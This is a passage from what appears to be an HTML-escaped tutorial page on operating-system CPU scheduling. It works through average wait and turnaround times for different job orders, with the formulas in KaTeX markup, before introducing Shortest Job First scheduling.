xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P_3&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Processing order: &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;→&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;→&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P_1 \rightarrow P_2 \rightarrow P_3&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;→&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;→&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Average wait time: &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;24&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;27&lt;/mn&gt;&lt;/mrow&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/mfrac&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;17&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\frac{0+24+27}{3} = 17&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1901em;vertical-align:-0.345em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8451em;&quot;&gt;&lt;span style=&quot;top:-2.655em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.394em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mbin mtight&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;mbin mtight&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;27&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.345em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;17&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Average turnaround time: &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mn&gt;24&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;27&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;30&lt;/mn&gt;&lt;/mrow&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/mfrac&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;27&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\frac{24+27+30}{3} = 27&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1901em;vertical-align:-0.345em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8451em;&quot;&gt;&lt;span style=&quot;top:-2.655em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.394em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;mbin mtight&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;mbin mtight&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;30&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.345em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;27&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here you can see: if you push long tasks back, average wait time decreases. So change it to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Processing order: &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;→&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;→&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P_2 \rightarrow P_3 \rightarrow P_1&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;→&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;→&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Average wait time: &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;6&lt;/mn&gt;&lt;/mrow&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/mfrac&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\frac{0+3+6}{3} = 3&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1901em;vertical-align:-0.345em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8451em;&quot;&gt;&lt;span style=&quot;top:-2.655em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.394em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mbin mtight&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mbin mtight&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;6&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.345em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Average turnaround time: &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;6&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;30&lt;/mn&gt;&lt;/mrow&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/mfrac&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;13&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\frac{3+6+30}{3} = 13&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1901em;vertical-align:-0.345em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8451em;&quot;&gt;&lt;span style=&quot;top:-2.655em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.394em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mbin mtight&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;mbin mtight&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;30&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.345em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;13&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After swapping, wait time shortened. Meaning &lt;del&gt;when a bunch of people ask you to do things, they’ll wait less&lt;/del&gt;.&lt;/p&gt;
&lt;h2 id=&quot;sjf&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#sjf&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;SJF&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;SJF (Shortest Job First)&lt;/strong&gt;, shortest tasks first. Based on the previous discussion, we found that doing shorter tasks first reduces average wait time and turnaround time. Doing shortest tasks first gives the shortest average wait time (average time everyone waits for you to finish is shortest). But this is impractical—we won’t know exactly how long a task takes until we finish it. We can only &lt;del&gt;communicate with spirits&lt;/del&gt; predict.&lt;/p&gt;
&lt;hr&gt;
